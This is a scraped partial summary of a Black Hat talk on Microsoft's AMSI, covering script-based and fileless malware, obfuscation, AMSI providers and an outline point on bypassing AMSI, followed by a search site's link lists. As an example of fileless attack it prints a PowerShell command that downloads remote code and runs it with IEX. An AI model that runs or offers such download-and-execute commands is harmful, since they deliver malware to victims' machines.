The Rise and Fall of AMSI - Black Hat Briefings
The Rise and Fall of AMSI
@Tal_Liberman
About me
@Tal_Liberman Research & Reverse Engineering Founder @ Polarium Previously
Head of Research Team @ enSilo #ProcessDoppelg?nging #AtomBombing
Overview
Introduction
Script Based & Fileless Threats Obfuscation The Cat and Mouse Game
AMSI Overview
AMSI from the Developer's Perspective AMSI from the Security Vendor's Perspective
Building and Registering Your Own AMSI Provider Bypassing AMSI Final Thoughts
Script Based Threats
"Script-based malware - on the rise" This is not a trend - it's mainstream There are more script based threats than there are binary threats* Why scripts?
Already available on all target machines Vastly used in domain settings Scripts are faster to develop Minimal skills needed to achieve good functionality Obfuscation of text is more simple than of machine code Harder to monitor scripts than compiled executables
Fileless Threats
A file always has to be run
Assuming the malware survives a reboot
But it can be a MS signed executable being abused Notorious examples are Poweliks and Kovter The main idea is to use a scripting engine to run code via command line Example:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(`')"
................
................
In order to avoid copyright disputes, this page is only a partial summary.
To fulfill the demand for quickly locating and searching documents.
It is intelligent file search solution for home and business.
Related download
- use case threat detection for windows process creation events
- new malware samples identified in point of sale
- cynet threat report
- attacker antics x33fcon
- decode base64 string to pdf file
- emotet a technical analysis of the destructive
- attackers arsenal cybereason
- attacker antics ruxcon
- evasive methods against healthcare
- security operations obfuscation reflective injection and
Related searches
- decline and fall of the roman empire
- rise and fall of rome
- decline and fall of rome
- the role and functions of law
- rise and fall of the roman empire
- rise and fall of roman empire
- the efficacy and effectiveness of treatment
- rise and fall of ancient rome
- state the equation and definition of photosynthesis
- the rise and fall of hitler
- the causes and consequences of the holocaust
- the trial and death of socrates pdf